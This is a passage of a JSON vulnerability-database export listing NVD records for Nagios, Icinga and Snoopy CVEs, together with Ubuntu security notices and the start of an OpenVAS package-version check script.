["cpe:2.3:a:nagios:nagios:4.2.3:*:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T06:07:01", "description": "Multiple off-by-one errors in Nagios Core 3.5.1, 4.0.2, and earlier, and Icinga before 1.8.5, 1.9 before 1.9.4, and 1.10 before 1.10.2 allow remote authenticated users to obtain sensitive information from process memory or cause a denial of service (crash) via a long string in the last key value in the variable list to the process_cgivars function in (1) avail.c, (2) cmd.c, (3) config.c, (4) extinfo.c, (5) histogram.c, (6) notifications.c, (7) outages.c, (8) status.c, (9) statusmap.c, (10) summary.c, and (11) trends.c in cgi/, which triggers a heap-based buffer over-read.", "edition": 6, "cvss3": {}, "published": "2014-01-15T16:08:00", "title": "CVE-2013-7108", "type": "cve", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-7108"], "modified": "2018-12-25T11:29:00", "cpe": ["cpe:/a:icinga:icinga:1.6.0", "cpe:/a:icinga:icinga:1.0.3", "cpe:/a:icinga:icinga:1.8.3", "cpe:/a:icinga:icinga:0.8.3", "cpe:/a:nagios:nagios:3.1.0", "cpe:/a:icinga:icinga:1.7.4", "cpe:/a:icinga:icinga:1.6.1", "cpe:/a:icinga:icinga:1.0.1", "cpe:/a:nagios:nagios:3.0.4", "cpe:/a:icinga:icinga:0.8.2", "cpe:/a:nagios:nagios:3.4.2", "cpe:/a:nagios:nagios:3.4.1", "cpe:/a:icinga:icinga:1.9.2", "cpe:/a:icinga:icinga:1.9.1", "cpe:/a:icinga:icinga:1.7.3", "cpe:/a:icinga:icinga:1.8.4", "cpe:/a:nagios:nagios:3.1.1", "cpe:/a:nagios:nagios:3.0.3", "cpe:/a:nagios:nagios:3.0.6", "cpe:/a:nagios:nagios:3.2.1", "cpe:/a:icinga:icinga:1.10.0", "cpe:/a:icinga:icinga:1.8.2", "cpe:/a:icinga:icinga:1.3.0", "cpe:/a:nagios:nagios:3.0", "cpe:/a:nagios:nagios:3.5.1", "cpe:/a:icinga:icinga:1.2.0", "cpe:/a:nagios:nagios:3.2.0", "cpe:/a:icinga:icinga:1.8.0", "cpe:/a:icinga:icinga:0.8.1", "cpe:/a:nagios:nagios:3.0.5", "cpe:/a:icinga:icinga:0.8.4", "cpe:/a:icinga:icinga:1.4.1", "cpe:/a:icinga:icinga:1.7.1", "cpe:/a:icinga:icinga:1.7.0", "cpe:/a:nagios:nagios:4.0.2", "cpe:/a:nagios:nagios:3.3.1", "cpe:/a:nagios:nagios:3.0.2", "cpe:/a:icinga:icinga:1.0.2", "cpe:/a:icinga:icinga:1.8.1", "cpe:/a:icinga:icinga:1.3.1", "cpe:/a:icinga:icinga:0.8.0", "cpe:/a:nagios:nagios:3.0.1", "cpe:/a:nagios:nagios:3.1.2", "cpe:/a:icinga:icinga:1.9.0", "cpe:/a:icinga:icinga:1.10.1", "cpe:/a:nagios:nagios:3.4.3", "cpe:/a:nagios:nagios:3.2.2", "cpe:/a:nagios:nagios:3.4.0", "cpe:/a:icinga:icinga:1.9.3", "cpe:/a:nagios:nagios:3.2.3", "cpe:/a:icinga:icinga:1.4.0", "cpe:/a:icinga:icinga:1.7.2", "cpe:/a:icinga:icinga:1.6.2", "cpe:/a:icinga:icinga:1.2.1", "cpe:/a:icinga:icinga:1.0"], "id": "CVE-2013-7108", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-7108", "cvss": {"score": 5.5, "vector": "AV:N/AC:L/Au:S/C:P/I:N/A:P"}, "cpe23": ["cpe:2.3:a:nagios:nagios:3.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.8.3:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.7.4:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:alpha2:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta1:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.8.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta5:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:0.8.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta3:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.7.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.8.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta4:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.0:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.8.4:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.4.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:alpha5:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta6:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:alpha1:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:0.8.3:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.6.2:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:0.8.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta7:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.6.1:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.7.3:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.4.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.4.3:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.10.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.6.0:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:0.8.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:alpha3:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta2:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:4.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.9.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:0.8.4:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.8.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:alpha4:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.10.0:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.7.1:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.9.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.7.0:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.3.0:*:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T06:07:01", "description": "Off-by-one error in the process_cgivars function in contrib/daemonchk.c in Nagios Core 3.5.1, 4.0.2, and earlier allows remote authenticated users to obtain sensitive information from process memory or cause a denial of service (crash) via a long string in the last key value in the variable list, which triggers a heap-based buffer over-read.", "edition": 6, "cvss3": {}, "published": "2014-01-15T16:08:00", "title": "CVE-2013-7205", "type": "cve", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-7205"], "modified": "2018-12-25T11:29:00", "cpe": ["cpe:/a:nagios:nagios:3.1.0", "cpe:/a:nagios:nagios:3.0.4", "cpe:/a:nagios:nagios:3.4.2", "cpe:/a:nagios:nagios:3.4.1", "cpe:/a:nagios:nagios:3.1.1", "cpe:/a:nagios:nagios:3.0.3", "cpe:/a:nagios:nagios:3.0.6", "cpe:/a:nagios:nagios:3.2.1", "cpe:/a:nagios:nagios:3.0", "cpe:/a:nagios:nagios:3.5.1", "cpe:/a:nagios:nagios:3.2.0", "cpe:/a:nagios:nagios:3.0.5", "cpe:/a:nagios:nagios:4.0.2", "cpe:/a:nagios:nagios:3.3.1", "cpe:/a:nagios:nagios:3.0.2", "cpe:/a:nagios:nagios:3.0.1", "cpe:/a:nagios:nagios:3.1.2", "cpe:/a:nagios:nagios:3.4.3", "cpe:/a:nagios:nagios:3.2.2", "cpe:/a:nagios:nagios:3.4.0", "cpe:/a:nagios:nagios:3.2.3"], "id": "CVE-2013-7205", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-7205", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}, "cpe23": ["cpe:2.3:a:nagios:nagios:3.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:alpha2:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta1:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta5:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta3:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta4:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:alpha5:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta6:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:alpha1:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta7:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.4.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.4.3:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:alpha3:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:beta2:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:4.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0:alpha4:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.0.1:*:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T06:14:31", "description": "Snoopy allows remote attackers to execute arbitrary commands. NOTE: this vulnerability exists due to an incomplete fix for CVE-2014-5008.", "edition": 6, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-03-31T16:59:00", "title": "CVE-2014-5009", "type": "cve", "cwe": ["CWE-77"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-5009"], "modified": "2017-08-29T01:35:00", "cpe": ["cpe:/a:redhat:openstack:6.0", "cpe:/a:redhat:openstack:5.0", "cpe:/a:nagios:nagios:4.2.3", "cpe:/a:snoopy:snoopy:-"], "id": "CVE-2014-5009", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5009", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:redhat:openstack:5.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:4.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:openstack:6.0:*:*:*:*:*:*:*", "cpe:2.3:a:snoopy:snoopy:-:*:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T06:14:31", "description": "Snoopy allows remote attackers to execute arbitrary commands.", "edition": 4, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-03-31T16:59:00", "title": "CVE-2014-5008", "type": "cve", "cwe": ["CWE-77"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-5008"], "modified": "2017-04-04T16:57:00", "cpe": ["cpe:/a:redhat:openstack:6.0", "cpe:/a:redhat:openstack:5.0", "cpe:/a:snoopy:snoopy:-", "cpe:/o:debian:debian_linux:7.0"], "id": "CVE-2014-5008", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5008", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:redhat:openstack:5.0:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:openstack:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*", "cpe:2.3:a:snoopy:snoopy:-:*:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T06:14:27", "description": "Stack-based buffer overflow in the cmd_submitf function in cgi/cmd.c in Nagios Core, possibly 4.0.3rc1 and earlier, and Icinga before 1.8.6, 1.9 before 1.9.5, and 1.10 before 1.10.3 allows remote attackers to cause a denial of service (segmentation fault) via a long message to cmd.cgi.", "edition": 6, "cvss3": {}, "published": "2014-02-28T15:13:00", "title": "CVE-2014-1878", "type": "cve", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-1878"], "modified": "2018-12-25T11:29:00", "cpe": ["cpe:/a:icinga:icinga:1.8.3", "cpe:/a:icinga:icinga:1.9.2", "cpe:/a:icinga:icinga:1.9.4", "cpe:/a:icinga:icinga:1.9.1", "cpe:/a:icinga:icinga:1.8.4", "cpe:/a:icinga:icinga:1.10.0", "cpe:/a:icinga:icinga:1.8.2", "cpe:/a:icinga:icinga:1.8.0", "cpe:/a:nagios:nagios:4.0.0", "cpe:/a:icinga:icinga:1.10.2", "cpe:/a:nagios:nagios:4.0.2", "cpe:/a:icinga:icinga:1.8.1", "cpe:/a:icinga:icinga:1.9.0", "cpe:/a:icinga:icinga:1.10.1", "cpe:/a:nagios:nagios:4.0.3", "cpe:/a:icinga:icinga:1.9.3", "cpe:/a:icinga:icinga:1.8.5"], "id": "CVE-2014-1878", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-1878", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:a:icinga:icinga:1.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.8.5:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.8.3:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.8.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:4.0.0:beta2:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.8.0:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.8.4:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.10.2:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:4.0.0:beta1:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.10.1:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:4.0.0:beta3:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:4.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.9.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:4.0.3:rc1:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.9.4:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:4.0.0:beta4:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.8.1:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.10.0:*:*:*:*:*:*:*", "cpe:2.3:a:icinga:icinga:1.9.2:*:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T06:06:55", "description": "rss-newsfeed.php in Nagios Core 3.4.4, 3.5.1, and earlier, when MAGPIE_CACHE_ON is set to 1, allows local users to overwrite arbitrary files via a symlink attack on /tmp/magpie_cache.\nper http://rhn.redhat.com/errata/RHSA-2013-1526.html\n\n'Affected Products: Red Hat OpenStack 3.0'", "edition": 6, "cvss3": {}, "published": "2013-11-23T17:55:00", "title": "CVE-2013-4214", "type": "cve", "cwe": ["CWE-59"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 6.3, "vectorString": "AV:L/AC:M/Au:N/C:N/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 9.2, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4214"], "modified": "2016-12-20T02:59:00", "cpe": ["cpe:/a:nagios:nagios:3.4.4", "cpe:/a:redhat:openstack:3.0", "cpe:/a:nagios:nagios:3.5.1"], "id": "CVE-2013-4214", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4214", "cvss": {"score": 6.3, "vector": "AV:L/AC:M/Au:N/C:N/I:C/A:C"}, "cpe23": ["cpe:2.3:a:nagios:nagios:3.4.4:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:3.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:openstack:3.0:*:*:*:*:*:*:*"]}], "ubuntu": [{"lastseen": "2020-07-02T11:34:03", "bulletinFamily": "unix", "cvelist": ["CVE-2016-9566", "CVE-2014-1878", "CVE-2013-7205", "CVE-2013-7108"], "description": "USN-3253-1 fixed vulnerabilities in Nagios. The update prevented log files \nfrom being displayed in the web interface. This update fixes the problem.\n\nWe apologize for the inconvenience.\n\nOriginal advisory details:\n\nIt was discovered that Nagios incorrectly handled certain long strings. A \nremote authenticated attacker could use this issue to cause Nagios to \ncrash, resulting in a denial of service, or possibly obtain sensitive \ninformation. (CVE-2013-7108, CVE-2013-7205)\n\nIt was discovered that Nagios incorrectly handled certain long messages to \ncmd.cgi. A remote attacker could possibly use this issue to cause Nagios to \ncrash, resulting in a denial of service. (CVE-2014-1878)\n\nDawid Golunski discovered that Nagios incorrectly handled symlinks when \naccessing log files. A local attacker could possibly use this issue to \nelevate privileges. In the default installation of Ubuntu, this should be \nprevented by the Yama link restrictions. (CVE-2016-9566)", "edition": 5, "modified": "2017-06-07T00:00:00", "published": "2017-06-07T00:00:00", "id": "USN-3253-2", "href": "https://ubuntu.com/security/notices/USN-3253-2", "title": "Nagios regression", "type": "ubuntu", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-07-02T11:34:47", "bulletinFamily": "unix", "cvelist": ["CVE-2016-9566", "CVE-2014-1878", "CVE-2013-7205", "CVE-2013-7108"], "description": "It was discovered that Nagios incorrectly handled certain long strings. A \nremote authenticated attacker could use this issue to cause Nagios to \ncrash, resulting in a denial of service, or possibly obtain sensitive \ninformation. (CVE-2013-7108, CVE-2013-7205)\n\nIt was discovered that Nagios incorrectly handled certain long messages to \ncmd.cgi. A remote attacker could possibly use this issue to cause Nagios to \ncrash, resulting in a denial of service. (CVE-2014-1878)\n\nDawid Golunski discovered that Nagios incorrectly handled symlinks when \naccessing log files. A local attacker could possibly use this issue to \nelevate privileges. In the default installation of Ubuntu, this should be \nprevented by the Yama link restrictions. (CVE-2016-9566)", "edition": 5, "modified": "2017-04-03T00:00:00", "published": "2017-04-03T00:00:00", "id": "USN-3253-1", "href": "https://ubuntu.com/security/notices/USN-3253-1", "title": "Nagios vulnerabilities", "type": "ubuntu", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "openvas": [{"lastseen": "2019-05-29T18:33:53", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-9566", "CVE-2014-1878", "CVE-2013-7205", "CVE-2013-7108"], "description": "The remote host is missing an update for the ", "modified": "2019-03-13T00:00:00", "published": "2017-06-08T00:00:00", "id": "OPENVAS:1361412562310843202", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310843202", "type": "openvas", "title": "Ubuntu Update for nagios3 USN-3253-2", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Ubuntu Update for nagios3 USN-3253-2\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.843202\");\n script_version(\"$Revision: 14140 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-13 13:26:09 +0100 (Wed, 13 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2017-06-08 06:04:35 +0200 (Thu, 08 Jun 2017)\");\n script_cve_id(\"CVE-2013-7108\", \"CVE-2013-7205\", \"CVE-2014-1878\", \"CVE-2016-9566\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Ubuntu Update for nagios3 USN-3253-2\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'nagios3'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"USN-3253-1 fixed vulnerabilities in Nagios.\n The update prevented log files from being displayed in the web interface. This\n update fixes the problem. We apologize for the inconvenience. Original advisory\n details: It was discovered that Nagios incorrectly handled certain long strings.\n A remote authenticated attacker could use this issue to cause Nagios to crash,\n resulting in a denial of service, or possibly obtain sensitive information.\n (CVE-2013-7108, CVE-2013-7205) It was discovered that Nagios incorrectly handled\n certain long messages to cmd.cgi. A remote attacker could possibly use this\n issue to cause Nagios to crash, resulting in a denial of service.\n (CVE-2014-1878) Dawid Golunski discovered that Nagios incorrectly handled\n symlinks when accessing log files. A local attacker could possibly use this\n issue to elevate privileges. In the default installation of Ubuntu, this should\n be prevented by the Yama link restrictions. (CVE-2016-9566)\");\n script_tag(name:\"affected\", value:\"nagios3 on Ubuntu 17.04,\n Ubuntu 16.10,\n Ubuntu 16.04 LTS,\n Ubuntu 14.04 LTS\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n\n script_xref(name:\"USN\", value:\"3253-2\");\n script_xref(name:\"URL\", value:\"http://www.ubuntu.com/usn/usn-3253-2/\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"Ubuntu Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/ubuntu_linux\", \"ssh/login/packages\", 